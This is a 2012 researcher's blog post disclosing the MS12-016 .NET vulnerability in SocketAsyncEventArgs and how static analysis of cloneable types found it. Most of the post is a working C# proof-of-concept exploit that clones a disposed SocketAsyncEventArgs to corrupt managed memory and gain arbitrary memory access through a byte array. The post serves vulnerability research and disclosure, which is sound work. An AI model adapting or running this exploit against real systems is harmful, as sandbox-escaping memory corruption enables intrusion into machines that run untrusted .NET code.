# Monday, 27 February 2012
« February 2012 Java Critical Patch Update... | Main | Lang.NEXT »
MS12-016 Vulnerability Details

Unlike most bugs that I run into, this one I actively went looking for. After being reminded of the cloning attack (in the context of Java) I wrote some reflection code to scan the BCL for public types that are cloneable (i.e. subclassable) and contain unmanaged pointer fields. This is a bad combination. A class that showed up as potentially vulnerable was SocketAsyncEventArgs and a few minutes with ildasm confirmed it.

I had at that time fairly recently written about another Socket vulnerability (that was fixed in MS11-039), but that was a complete coincidence. As I said this bug was found via (trivial) static analysis.

Here's an example exploit (not very reliable):

using System;
using System.Net;
using System.Net.Sockets;

class MySocketAsyncEventArgs : System.Net.Sockets.SocketAsyncEventArgs
{
  public MySocketAsyncEventArgs Clone()
  {
    return (MySocketAsyncEventArgs)MemberwiseClone();
  }
}

class Program
{
  static void Main()
  {
    GC.Collect();

    byte[] buf1 = new byte[1024];
    object[] dummy = new object[1024];
    for (int i = 0; i < dummy.Length; i++)
      dummy[i] = new byte[1024];
    byte[] buf2 = new byte[1];
    MySocketAsyncEventArgs args = new MySocketAsyncEventArgs();
    args.SetBuffer(buf1, 0, buf1.Length);
    MySocketAsyncEventArgs copy = args.Clone();
    args.Dispose();
    buf1 = null;

    GC.Collect();

    Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    server.Bind(new IPEndPoint(IPAddress.Loopback, 0));
    server.Listen(1);
    Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
    client.Connect(server.LocalEndPoint);
    Socket conn = server.Accept();

    byte[] buf = new byte[1024];
    for (int i = 0; i < buf.Length; i++)
      buf[i] = 0xFF;
    client.Send(buf);
    conn.ReceiveAsync(copy);
    System.Threading.Thread.Sleep(100);

    // now we have a magic array that allows us arbitrary memory access
    Console.WriteLine(buf2.Length);
    Console.WriteLine(buf2[1000000000]); // AccessViolation

    GC.SuppressFinalize(copy);
  }
}
Monday, 27 February 2012 08:58:32 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
Name
E-mail
Home page

I apologize for the lameness of this, but the comment spam was driving me nuts. In order to be able to post a comment, you need to answer a simple question. Hopefully this question is easy enough not to annoy serious commenters, but hard enough to keep the spammers away.

Anti-Spam Question: What method on java.lang.System returns an object's original hashcode (i.e. the one that would be returned by java.lang.Object.hashCode() if it wasn't overridden)? (case is significant)

Answer:  
Comment (HTML not allowed)  

Live Comment Preview